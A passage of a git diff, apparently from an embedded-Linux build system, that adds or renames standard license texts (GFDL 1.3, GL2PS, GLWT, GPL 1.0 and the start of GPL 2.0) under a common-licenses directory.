+Translation is considered a kind of modification, so you may distribute translations of the Document under the terms of section 4. Replacing Invariant Sections with translations requires special permission from their copyright holders, but you may include translations of some or all Invariant Sections in addition to the original versions of these Invariant Sections. You may include a translation of this License, and all the license notices in the Document, and any Warranty Disclaimers, provided that you also include the original English version of this License and the original versions of those notices and disclaimers. In case of a disagreement between the translation and the original version of this License or a notice or disclaimer, the original version will prevail.
+
+If a section in the Document is Entitled "Acknowledgements", "Dedications", or "History", the requirement (section 4) to Preserve its Title (section 1) will typically require changing the actual title.
+
+9. TERMINATION
+
+You may not copy, modify, sublicense, or distribute the Document except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense, or distribute it is void, and will automatically terminate your rights under this License.
+
+However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation.
+
+Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice.
+
+Termination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, receipt of a copy of some or all of the same material does not give you any rights to use it.
+
+10. FUTURE REVISIONS OF THIS LICENSE
+
+The Free Software Foundation may publish new, revised versions of the GNU Free Documentation License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. See http://www.gnu.org/copyleft/.
+
+Each version of the License is given a distinguishing version number. If the Document specifies that a particular numbered version of this License "or any later version" applies to it, you have the option of following the terms and conditions either of that specified version or of any later version that has been published (not as a draft) by the Free Software Foundation. If the Document does not specify a version number of this License, you may choose any version ever published (not as a draft) by the Free Software Foundation. If the Document specifies that a proxy can decide which future versions of this License can be used, that proxy's public statement of acceptance of a version permanently authorizes you to choose that version for the Document.
+
+11. RELICENSING
+
+"Massive Multiauthor Collaboration Site" (or "MMC Site") means any World Wide Web server that publishes copyrightable works and also provides prominent facilities for anybody to edit those works. A public wiki that anybody can edit is an example of such a server. A "Massive Multiauthor Collaboration" (or "MMC") contained in the site means any set of copyrightable works thus published on the MMC site.
+
+"CC-BY-SA" means the Creative Commons Attribution-Share Alike 3.0 license published by Creative Commons Corporation, a not-for-profit corporation with a principal place of business in San Francisco, California, as well as future copyleft versions of that license published by that same organization.
+
+"Incorporate" means to publish or republish a Document, in whole or in part, as part of another Document.
+
+An MMC is "eligible for relicensing" if it is licensed under this License, and if all works that were first published under this License somewhere other than this MMC, and subsequently incorporated in whole or in part into the MMC, (1) had no cover texts or invariant sections, and (2) were thus incorporated prior to November 1, 2008.
+
+The operator of an MMC Site may republish an MMC contained in the site under CC-BY-SA on the same site at any time before August 1, 2009, provided the MMC is eligible for relicensing.
+
+ADDENDUM: How to use this License for your documents
+
+To use this License in a document you have written, include a copy of the License in the document and put the following copyright and license notices just after the title page:
+
+ Copyright (c) YEAR YOUR NAME. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, no Front-Cover Texts, and no Back-Cover Texts. A copy of the license is included in the section entitled "GNU Free Documentation License".
+
+If you have Invariant Sections, Front-Cover Texts and Back-Cover Texts, replace the "with...Texts." line with this:
+
+ with the Invariant Sections being LIST THEIR TITLES, with the Front-Cover Texts being LIST, and with the Back-Cover Texts being LIST.
+
+If you have Invariant Sections without Cover Texts, or some other combination of the three, merge those two alternatives to suit the situation.
+
+If your document contains nontrivial examples of program code, we recommend releasing these examples in parallel under your choice of free software license, such as the GNU General Public License, to permit their use in free software.
diff --git a/meta/files/common-licenses/GFDL-1.3-or-later b/meta/files/common-licenses/GFDL-1.3-or-later
new file mode 100644
index 0000000000..b51dc2ab16
--- /dev/null
+++ b/meta/files/common-licenses/GFDL-1.3-or-later
@@ -0,0 +1,149 @@
+GNU Free Documentation License
+Version 1.3, 3 November 2008
+
+Copyright (C) 2000, 2001, 2002, 2007, 2008 Free Software Foundation, Inc. <http://fsf.org/>
+
+Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.
+
+0. PREAMBLE
+
+The purpose of this License is to make a manual, textbook, or other functional and useful document "free" in the sense of freedom: to assure everyone the effective freedom to copy and redistribute it, with or without modifying it, either commercially or noncommercially. Secondarily, this License preserves for the author and publisher a way to get credit for their work, while not being considered responsible for modifications made by others.
+
+This License is a kind of "copyleft", which means that derivative works of the document must themselves be free in the same sense. It complements the GNU General Public License, which is a copyleft license designed for free software.
+
+We have designed this License in order to use it for manuals for free software, because free software needs free documentation: a free program should come with manuals providing the same freedoms that the software does. But this License is not limited to software manuals; it can be used for any textual work, regardless of subject matter or whether it is published as a printed book. We recommend this License principally for works whose purpose is instruction or reference.
+
+1. APPLICABILITY AND DEFINITIONS
+
+This License applies to any manual or other work, in any medium, that contains a notice placed by the copyright holder saying it can be distributed under the terms of this License. Such a notice grants a world-wide, royalty-free license, unlimited in duration, to use that work under the conditions stated herein. The "Document", below, refers to any such manual or work. Any member of the public is a licensee, and is addressed as "you". You accept the license if you copy, modify or distribute the work in a way requiring permission under copyright law.
+
+A "Modified Version" of the Document means any work containing the Document or a portion of it, either copied verbatim, or with modifications and/or translated into another language.
+
+A "Secondary Section" is a named appendix or a front-matter section of the Document that deals exclusively with the relationship of the publishers or authors of the Document to the Document's overall subject (or to related matters) and contains nothing that could fall directly within that overall subject. (Thus, if the Document is in part a textbook of mathematics, a Secondary Section may not explain any mathematics.) The relationship could be a matter of historical connection with the subject or with related matters, or of legal, commercial, philosophical, ethical or political position regarding them.
+
+The "Invariant Sections" are certain Secondary Sections whose titles are designated, as being those of Invariant Sections, in the notice that says that the Document is released under this License. If a section does not fit the above definition of Secondary then it is not allowed to be designated as Invariant. The Document may contain zero Invariant Sections. If the Document does not identify any Invariant Sections then there are none.
+
+The "Cover Texts" are certain short passages of text that are listed, as Front-Cover Texts or Back-Cover Texts, in the notice that says that the Document is released under this License. A Front-Cover Text may be at most 5 words, and a Back-Cover Text may be at most 25 words.
+
+A "Transparent" copy of the Document means a machine-readable copy, represented in a format whose specification is available to the general public, that is suitable for revising the document straightforwardly with generic text editors or (for images composed of pixels) generic paint programs or (for drawings) some widely available drawing editor, and that is suitable for input to text formatters or for automatic translation to a variety of formats suitable for input to text formatters. A copy made in an otherwise Transparent file format whose markup, or absence of markup, has been arranged to thwart or discourage subsequent modification by readers is not Transparent. An image format is not Transparent if used for any substantial amount of text. A copy that is not "Transparent" is called "Opaque".
+
+Examples of suitable formats for Transparent copies include plain ASCII without markup, Texinfo input format, LaTeX input format, SGML or XML using a publicly available DTD, and standard-conforming simple HTML, PostScript or PDF designed for human modification. Examples of transparent image formats include PNG, XCF and JPG. Opaque formats include proprietary formats that can be read and edited only by proprietary word processors, SGML or XML for which the DTD and/or processing tools are not generally available, and the machine-generated HTML, PostScript or PDF produced by some word processors for output purposes only.
+
+The "Title Page" means, for a printed book, the title page itself, plus such following pages as are needed to hold, legibly, the material this License requires to appear in the title page. For works in formats which do not have any title page as such, "Title Page" means the text near the most prominent appearance of the work's title, preceding the beginning of the body of the text.
+
+The "publisher" means any person or entity that distributes copies of the Document to the public.
+
+A section "Entitled XYZ" means a named subunit of the Document whose title either is precisely XYZ or contains XYZ in parentheses following text that translates XYZ in another language. (Here XYZ stands for a specific section name mentioned below, such as "Acknowledgements", "Dedications", "Endorsements", or "History".) To "Preserve the Title" of such a section when you modify the Document means that it remains a section "Entitled XYZ" according to this definition.
+
+The Document may include Warranty Disclaimers next to the notice which states that this License applies to the Document. These Warranty Disclaimers are considered to be included by reference in this License, but only as regards disclaiming warranties: any other implication that these Warranty Disclaimers may have is void and has no effect on the meaning of this License.
+
+2. VERBATIM COPYING
+
+You may copy and distribute the Document in any medium, either commercially or noncommercially, provided that this License, the copyright notices, and the license notice saying this License applies to the Document are reproduced in all copies, and that you add no other conditions whatsoever to those of this License. You may not use technical measures to obstruct or control the reading or further copying of the copies you make or distribute. However, you may accept compensation in exchange for copies. If you distribute a large enough number of copies you must also follow the conditions in section 3.
+
+You may also lend copies, under the same conditions stated above, and you may publicly display copies.
+
+3. COPYING IN QUANTITY
+
+If you publish printed copies (or copies in media that commonly have printed covers) of the Document, numbering more than 100, and the Document's license notice requires Cover Texts, you must enclose the copies in covers that carry, clearly and legibly, all these Cover Texts: Front-Cover Texts on the front cover, and Back-Cover Texts on the back cover. Both covers must also clearly and legibly identify you as the publisher of these copies. The front cover must present the full title with all words of the title equally prominent and visible. You may add other material on the covers in addition. Copying with changes limited to the covers, as long as they preserve the title of the Document and satisfy these conditions, can be treated as verbatim copying in other respects.
+
+If the required texts for either cover are too voluminous to fit legibly, you should put the first ones listed (as many as fit reasonably) on the actual cover, and continue the rest onto adjacent pages.
+
+If you publish or distribute Opaque copies of the Document numbering more than 100, you must either include a machine-readable Transparent copy along with each Opaque copy, or state in or with each Opaque copy a computer-network location from which the general network-using public has access to download using public-standard network protocols a complete Transparent copy of the Document, free of added material. If you use the latter option, you must take reasonably prudent steps, when you begin distribution of Opaque copies in quantity, to ensure that this Transparent copy will remain thus accessible at the stated location until at least one year after the last time you distribute an Opaque copy (directly or through your agents or retailers) of that edition to the public.
+
+It is requested, but not required, that you contact the authors of the Document well before redistributing any large number of copies, to give them a chance to provide you with an updated version of the Document.
+
+4. MODIFICATIONS
+
+You may copy and distribute a Modified Version of the Document under the conditions of sections 2 and 3 above, provided that you release the Modified Version under precisely this License, with the Modified Version filling the role of the Document, thus licensing distribution and modification of the Modified Version to whoever possesses a copy of it. In addition, you must do these things in the Modified Version:
+
+ A. Use in the Title Page (and on the covers, if any) a title distinct from that of the Document, and from those of previous versions (which should, if there were any, be listed in the History section of the Document). You may use the same title as a previous version if the original publisher of that version gives permission.
+ B. List on the Title Page, as authors, one or more persons or entities responsible for authorship of the modifications in the Modified Version, together with at least five of the principal authors of the Document (all of its principal authors, if it has fewer than five), unless they release you from this requirement.
+ C. State on the Title page the name of the publisher of the Modified Version, as the publisher.
+ D. Preserve all the copyright notices of the Document.
+ E. Add an appropriate copyright notice for your modifications adjacent to the other copyright notices.
+ F. Include, immediately after the copyright notices, a license notice giving the public permission to use the Modified Version under the terms of this License, in the form shown in the Addendum below.
+ G. Preserve in that license notice the full lists of Invariant Sections and required Cover Texts given in the Document's license notice. H. Include an unaltered copy of this License.
+ I. Preserve the section Entitled "History", Preserve its Title, and add to it an item stating at least the title, year, new authors, and publisher of the Modified Version as given on the Title Page. If there is no section Entitled "History" in the Document, create one stating the title, year, authors, and publisher of the Document as given on its Title Page, then add an item describing the Modified Version as stated in the previous sentence.
+ J. Preserve the network location, if any, given in the Document for public access to a Transparent copy of the Document, and likewise the network locations given in the Document for previous versions it was based on. These may be placed in the "History" section. You may omit a network location for a work that was published at least four years before the Document itself, or if the original publisher of the version it refers to gives permission.
+ K. For any section Entitled "Acknowledgements" or "Dedications", Preserve the Title of the section, and preserve in the section all the substance and tone of each of the contributor acknowledgements and/or dedications given therein.
+ L. Preserve all the Invariant Sections of the Document, unaltered in their text and in their titles. Section numbers or the equivalent are not considered part of the section titles.
+ M. Delete any section Entitled "Endorsements". Such a section may not be included in the Modified Version.
+ N. Do not retitle any existing section to be Entitled "Endorsements" or to conflict in title with any Invariant Section.
+ O. Preserve any Warranty Disclaimers.
+
+If the Modified Version includes new front-matter sections or appendices that qualify as Secondary Sections and contain no material copied from the Document, you may at your option designate some or all of these sections as invariant. To do this, add their titles to the list of Invariant Sections in the Modified Version's license notice. These titles must be distinct from any other section titles.
+
+You may add a section Entitled "Endorsements", provided it contains nothing but endorsements of your Modified Version by various parties--for example, statements of peer review or that the text has been approved by an organization as the authoritative definition of a standard.
+
+You may add a passage of up to five words as a Front-Cover Text, and a passage of up to 25 words as a Back-Cover Text, to the end of the list of Cover Texts in the Modified Version. Only one passage of Front-Cover Text and one of Back-Cover Text may be added by (or through arrangements made by) any one entity. If the Document already includes a cover text for the same cover, previously added by you or by arrangement made by the same entity you are acting on behalf of, you may not add another; but you may replace the old one, on explicit permission from the previous publisher that added the old one.
+
+The author(s) and publisher(s) of the Document do not by this License give permission to use their names for publicity for or to assert or imply endorsement of any Modified Version.
+
+5. COMBINING DOCUMENTS
+
+You may combine the Document with other documents released under this License, under the terms defined in section 4 above for modified versions, provided that you include in the combination all of the Invariant Sections of all of the original documents, unmodified, and list them all as Invariant Sections of your combined work in its license notice, and that you preserve all their Warranty Disclaimers.
+
+The combined work need only contain one copy of this License, and multiple identical Invariant Sections may be replaced with a single copy. If there are multiple Invariant Sections with the same name but different contents, make the title of each such section unique by adding at the end of it, in parentheses, the name of the original author or publisher of that section if known, or else a unique number. Make the same adjustment to the section titles in the list of Invariant Sections in the license notice of the combined work.
+
+In the combination, you must combine any sections Entitled "History" in the various original documents, forming one section Entitled "History"; likewise combine any sections Entitled "Acknowledgements", and any sections Entitled "Dedications". You must delete all sections Entitled "Endorsements".
+
+6. COLLECTIONS OF DOCUMENTS
+
+You may make a collection consisting of the Document and other documents released under this License, and replace the individual copies of this License in the various documents with a single copy that is included in the collection, provided that you follow the rules of this License for verbatim copying of each of the documents in all other respects.
+
+You may extract a single document from such a collection, and distribute it individually under this License, provided you insert a copy of this License into the extracted document, and follow this License in all other respects regarding verbatim copying of that document.
+
+7. AGGREGATION WITH INDEPENDENT WORKS
+
+A compilation of the Document or its derivatives with other separate and independent documents or works, in or on a volume of a storage or distribution medium, is called an "aggregate" if the copyright resulting from the compilation is not used to limit the legal rights of the compilation's users beyond what the individual works permit. When the Document is included in an aggregate, this License does not apply to the other works in the aggregate which are not themselves derivative works of the Document.
+
+If the Cover Text requirement of section 3 is applicable to these copies of the Document, then if the Document is less than one half of the entire aggregate, the Document's Cover Texts may be placed on covers that bracket the Document within the aggregate, or the electronic equivalent of covers if the Document is in electronic form. Otherwise they must appear on printed covers that bracket the whole aggregate.
+
+8. TRANSLATION
+
+Translation is considered a kind of modification, so you may distribute translations of the Document under the terms of section 4. Replacing Invariant Sections with translations requires special permission from their copyright holders, but you may include translations of some or all Invariant Sections in addition to the original versions of these Invariant Sections. You may include a translation of this License, and all the license notices in the Document, and any Warranty Disclaimers, provided that you also include the original English version of this License and the original versions of those notices and disclaimers. In case of a disagreement between the translation and the original version of this License or a notice or disclaimer, the original version will prevail.
+
+If a section in the Document is Entitled "Acknowledgements", "Dedications", or "History", the requirement (section 4) to Preserve its Title (section 1) will typically require changing the actual title.
+
+9. TERMINATION
+
+You may not copy, modify, sublicense, or distribute the Document except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense, or distribute it is void, and will automatically terminate your rights under this License.
+
+However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation.
+
+Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice.
+
+Termination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, receipt of a copy of some or all of the same material does not give you any rights to use it.
+
+10. FUTURE REVISIONS OF THIS LICENSE
+
+The Free Software Foundation may publish new, revised versions of the GNU Free Documentation License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. See http://www.gnu.org/copyleft/.
+
+Each version of the License is given a distinguishing version number. If the Document specifies that a particular numbered version of this License "or any later version" applies to it, you have the option of following the terms and conditions either of that specified version or of any later version that has been published (not as a draft) by the Free Software Foundation. If the Document does not specify a version number of this License, you may choose any version ever published (not as a draft) by the Free Software Foundation. If the Document specifies that a proxy can decide which future versions of this License can be used, that proxy's public statement of acceptance of a version permanently authorizes you to choose that version for the Document.
+
+11. RELICENSING
+
+"Massive Multiauthor Collaboration Site" (or "MMC Site") means any World Wide Web server that publishes copyrightable works and also provides prominent facilities for anybody to edit those works. A public wiki that anybody can edit is an example of such a server. A "Massive Multiauthor Collaboration" (or "MMC") contained in the site means any set of copyrightable works thus published on the MMC site.
+
+"CC-BY-SA" means the Creative Commons Attribution-Share Alike 3.0 license published by Creative Commons Corporation, a not-for-profit corporation with a principal place of business in San Francisco, California, as well as future copyleft versions of that license published by that same organization.
+
+"Incorporate" means to publish or republish a Document, in whole or in part, as part of another Document.
+
+An MMC is "eligible for relicensing" if it is licensed under this License, and if all works that were first published under this License somewhere other than this MMC, and subsequently incorporated in whole or in part into the MMC, (1) had no cover texts or invariant sections, and (2) were thus incorporated prior to November 1, 2008.
+
+The operator of an MMC Site may republish an MMC contained in the site under CC-BY-SA on the same site at any time before August 1, 2009, provided the MMC is eligible for relicensing.
+
+ADDENDUM: How to use this License for your documents
+
+To use this License in a document you have written, include a copy of the License in the document and put the following copyright and license notices just after the title page:
+
+ Copyright (c) YEAR YOUR NAME. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, no Front-Cover Texts, and no Back-Cover Texts. A copy of the license is included in the section entitled "GNU Free Documentation License".
+
+If you have Invariant Sections, Front-Cover Texts and Back-Cover Texts, replace the "with...Texts." line with this:
+
+ with the Invariant Sections being LIST THEIR TITLES, with the Front-Cover Texts being LIST, and with the Back-Cover Texts being LIST.
+
+If you have Invariant Sections without Cover Texts, or some other combination of the three, merge those two alternatives to suit the situation.
+
+If your document contains nontrivial examples of program code, we recommend releasing these examples in parallel under your choice of free software license, such as the GNU General Public License, to permit their use in free software.
diff --git a/meta/files/common-licenses/GL2PS b/meta/files/common-licenses/GL2PS
new file mode 100644
index 0000000000..ee2af779d9
--- /dev/null
+++ b/meta/files/common-licenses/GL2PS
@@ -0,0 +1,13 @@
+GL2PS LICENSE Version 2, November 2003
+
+Copyright (C) 2003, Christophe Geuzaine
+
+Permission to use, copy, and distribute this software and its documentation for any purpose with or without fee is hereby granted, provided that the copyright notice appear in all copies and that both that copyright notice and this permission notice appear in supporting documentation.
+
+Permission to modify and distribute modified versions of this software is granted, provided that:
+
+1) the modifications are licensed under the same terms as this software;
+
+2) you make available the source code of any modifications that you distribute, either on the same media as you distribute any executable or other form of this software, or via a mechanism generally accepted in the software development community for the electronic transfer of data.
+
+This software is provided "as is" without express or implied warranty.
diff --git a/meta/files/common-licenses/GLWTPL b/meta/files/common-licenses/GLWTPL
new file mode 100644
index 0000000000..a0f7ec4883
--- /dev/null
+++ b/meta/files/common-licenses/GLWTPL
@@ -0,0 +1,25 @@
+ GLWT(Good Luck With That) Public License
+ Copyright (c) Everyone, except Author
+
+Everyone is permitted to copy, distribute, modify, merge, sell, publish,
+sublicense or whatever they want with this software but at their OWN RISK.
+
+ Preamble
+
+The author has absolutely no clue what the code in this project does.
+It might just work or not, there is no third option.
+
+
+ GOOD LUCK WITH THAT PUBLIC LICENSE
+ TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION, AND MODIFICATION
+
+ 0. You just DO WHATEVER YOU WANT TO as long as you NEVER LEAVE A
+TRACE TO TRACK THE AUTHOR of the original product to blame for or hold
+responsible.
+
+IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
+FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
+DEALINGS IN THE SOFTWARE.
+
+Good luck and Godspeed.
diff --git a/meta/files/common-licenses/GPL-1.0 b/meta/files/common-licenses/GPL-1.0-only
index 9d4ef93ae5..9d4ef93ae5 100644
--- a/meta/files/common-licenses/GPL-1.0
+++ b/meta/files/common-licenses/GPL-1.0-only
diff --git a/meta/files/common-licenses/GPL-1.0-or-later b/meta/files/common-licenses/GPL-1.0-or-later
new file mode 100644
index 0000000000..b616110c75
--- /dev/null
+++ b/meta/files/common-licenses/GPL-1.0-or-later
@@ -0,0 +1,232 @@
+GNU GENERAL PUBLIC LICENSE
+
+Version 1, February 1989
+
+Copyright (C) 1989 Free Software Foundation, Inc. 51 Franklin St, Fifth Floor,
+Boston, MA 02110-1301 USA
+
+Everyone is permitted to copy and distribute verbatim copies of this license
+document, but changing it is not allowed.
+
+Preamble
+
+The license agreements of most software companies try to keep users at the
+mercy of those companies. By contrast, our General Public License is intended
+to guarantee your freedom to share and change free software--to make sure
+the software is free for all its users. The General Public License applies
+to the Free Software Foundation's software and to any other program whose
+authors commit to using it. You can use it for your programs, too.
+
+When we speak of free software, we are referring to freedom, not price. Specifically,
+the General Public License is designed to make sure that you have the freedom
+to give away or sell copies of free software, that you receive source code
+or can get it if you want it, that you can change the software or use pieces
+of it in new free programs; and that you know you can do these things.
+
+To protect your rights, we need to make restrictions that forbid anyone to
+deny you these rights or to ask you to surrender the rights. These restrictions
+translate to certain responsibilities for you if you distribute copies of
+the software, or if you modify it.
+
+For example, if you distribute copies of a such a program, whether gratis
+or for a fee, you must give the recipients all the rights that you have. You
+must make sure that they, too, receive or can get the source code. And you
+must tell them their rights.
+
+We protect your rights with two steps: (1) copyright the software, and (2)
+offer you this license which gives you legal permission to copy, distribute
+and/or modify the software.
+
+Also, for each author's protection and ours, we want to make certain that
+everyone understands that there is no warranty for this free software. If
+the software is modified by someone else and passed on, we want its recipients
+to know that what they have is not the original, so that any problems introduced
+by others will not reflect on the original authors' reputations.
+
+The precise terms and conditions for copying, distribution and modification
+follow.
+
+GNU GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION
+AND MODIFICATION
+
+0. This License Agreement applies to any program or other work which contains
+a notice placed by the copyright holder saying it may be distributed under
+the terms of this General Public License. The "Program", below, refers to
+any such program or work, and a "work based on the Program" means either the
+Program or any work containing the Program or a portion of it, either verbatim
+or with modifications. Each licensee is addressed as "you".
+
+1. You may copy and distribute verbatim copies of the Program's source code
+as you receive it, in any medium, provided that you conspicuously and appropriately
+publish on each copy an appropriate copyright notice and disclaimer of warranty;
+keep intact all the notices that refer to this General Public License and
+to the absence of any warranty; and give any other recipients of the Program
+a copy of this General Public License along with the Program. You may charge
+a fee for the physical act of transferring a copy.
+
+2. You may modify your copy or copies of the Program or any portion of it,
+and copy and distribute such modifications under the terms of Paragraph 1
+above, provided that you also do the following:
+
+a) cause the modified files to carry prominent notices stating that you changed
+the files and the date of any change; and
+
+b) cause the whole of any work that you distribute or publish, that in whole
+or in part contains the Program or any part thereof, either with or without
+modifications, to be licensed at no charge to all third parties under the
+terms of this General Public License (except that you may choose to grant
+warranty protection to some or all third parties, at your option).
+
+c) If the modified program normally reads commands interactively when run,
+you must cause it, when started running for such interactive use in the simplest
+and most usual way, to print or display an announcement including an appropriate
+copyright notice and a notice that there is no warranty (or else, saying that
+you provide a warranty) and that users may redistribute the program under
+these conditions, and telling the user how to view a copy of this General
+Public License.
+
+d) You may charge a fee for the physical act of transferring a copy, and you
+may at your option offer warranty protection in exchange for a fee.
+
+Mere aggregation of another independent work with the Program (or its derivative)
+on a volume of a storage or distribution medium does not bring the other work
+under the scope of these terms.
+
+3. You may copy and distribute the Program (or a portion or derivative of
+it, under Paragraph 2) in object code or executable form under the terms of
+Paragraphs 1 and 2 above provided that you also do one of the following:
+
+a) accompany it with the complete corresponding machine-readable source code,
+which must be distributed under the terms of Paragraphs 1 and 2 above; or,
+
+b) accompany it with a written offer, valid for at least three years, to give
+any third party free (except for a nominal charge for the cost of distribution)
+a complete machine-readable copy of the corresponding source code, to be distributed
+under the terms of Paragraphs 1 and 2 above; or,
+
+c) accompany it with the information you received as to where the corresponding
+source code may be obtained. (This alternative is allowed only for noncommercial
+distribution and only if you received the program in object code or executable
+form alone.)
+
+Source code for a work means the preferred form of the work for making modifications
+to it. For an executable file, complete source code means all the source code
+for all modules it contains; but, as a special exception, it need not include
+source code for modules which are standard libraries that accompany the operating
+system on which the executable file runs, or for standard header files or
+definitions files that accompany that operating system.
+
+4. You may not copy, modify, sublicense, distribute or transfer the Program
+except as expressly provided under this General Public License. Any attempt
+otherwise to copy, modify, sublicense, distribute or transfer the Program
+is void, and will automatically terminate your rights to use the Program under
+this License. However, parties who have received copies, or rights to use
+copies, from you under this General Public License will not have their licenses
+terminated so long as such parties remain in full compliance.
+
+5. By copying, distributing or modifying the Program (or any work based on
+the Program) you indicate your acceptance of this license to do so, and all
+its terms and conditions.
+
+6. Each time you redistribute the Program (or any work based on the Program),
+the recipient automatically receives a license from the original licensor
+to copy, distribute or modify the Program subject to these terms and conditions.
+You may not impose any further restrictions on the recipients' exercise of
+the rights granted herein.
+
+7. The Free Software Foundation may publish revised and/or new versions of
+the General Public License from time to time. Such new versions will be similar
+in spirit to the present version, but may differ in detail to address new
+problems or concerns.
+
+Each version is given a distinguishing version number. If the Program specifies
+a version number of the license which applies to it and "any later version",
+you have the option of following the terms and conditions either of that version
+or of any later version published by the Free Software Foundation. If the
+Program does not specify a version number of the license, you may choose any
+version ever published by the Free Software Foundation.
+
+8. If you wish to incorporate parts of the Program into other free programs
+whose distribution conditions are different, write to the author to ask for
+permission. For software which is copyrighted by the Free Software Foundation,
+write to the Free Software Foundation; we sometimes make exceptions for this.
+Our decision will be guided by the two goals of preserving the free status
+of all derivatives of our free software and of promoting the sharing and reuse
+of software generally.
+
+
+
+ NO WARRANTY 9.
+
+BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE
+PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE
+STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM
+"AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,
+BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE
+OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME
+THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
+
+10. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE
+THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
+GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE
+OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA
+OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES
+OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH
+HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
+END OF TERMS AND CONDITIONS
+
+Appendix: How to Apply These Terms to Your New Programs
+
+If you develop a new program, and you want it to be of the greatest possible
+use to humanity, the best way to achieve this is to make it free software
+which everyone can redistribute and change under these terms.
+
+To do so, attach the following notices to the program. It is safest to attach
+them to the start of each source file to most effectively convey the exclusion
+of warranty; and each file should have at least the "copyright" line and a
+pointer to where the full notice is found.
+
+<one line to give the program's name and a brief idea of what it does.>
+
+Copyright (C) 19yy <name of author>
+
+This program is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free Software
+Foundation; either version 1, or (at your option) any later version.
+
+This program is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
+
+You should have received a copy of the GNU General Public License along with
+this program; if not, write to the Free Software Foundation, Inc., 675 Mass
+Ave, Cambridge, MA 02139, USA.
+
+Also add information on how to contact you by electronic and paper mail.
+
+If the program is interactive, make it output a short notice like this when
+it starts in an interactive mode:
+
+Gnomovision version 69, Copyright (C) 19xx name of author Gnomovision comes
+with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software,
+and you are welcome to redistribute it under certain conditions; type `show
+c' for details.
+
+The hypothetical commands `show w' and `show c' should show the appropriate
+parts of the General Public License. Of course, the commands you use may be
+called something other than `show w' and `show c'; they could even be mouse-clicks
+or menu items--whatever suits your program.
+
+You should also get your employer (if you work as a programmer) or your school,
+if any, to sign a "copyright disclaimer" for the program, if necessary. Here
+a sample; alter the names:
+
+Yoyodyne, Inc., hereby disclaims all copyright interest in the program `Gnomovision'
+(a program to direct compilers to make passes at assemblers) written by James
+Hacker.
+
+<signature of Ty Coon>, 1 April 1989 Ty Coon, President of Vice
+
+That's all there is to it!
diff --git a/meta/files/common-licenses/GPL-2.0 b/meta/files/common-licenses/GPL-2.0-only
index 7f5abbce27..7f5abbce27 100644
--- a/meta/files/common-licenses/GPL-2.0
+++ b/meta/files/common-licenses/GPL-2.0-only
diff --git a/meta/files/common-licenses/GPL-2.0-or-later b/meta/files/common-licenses/GPL-2.0-or-later
new file mode 100644
index 0000000000..1d80ac3653
--- /dev/null
+++ b/meta/files/common-licenses/GPL-2.0-or-later
@@ -0,0 +1,319 @@
+GNU GENERAL PUBLIC LICENSE
+
+Version 2, June 1991
+
+Copyright (C) 1989, 1991 Free Software Foundation, Inc.
+
+51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA
+
+Everyone is permitted to copy and distribute verbatim copies of this license
+document, but changing it is not allowed.
+
+Preamble
+
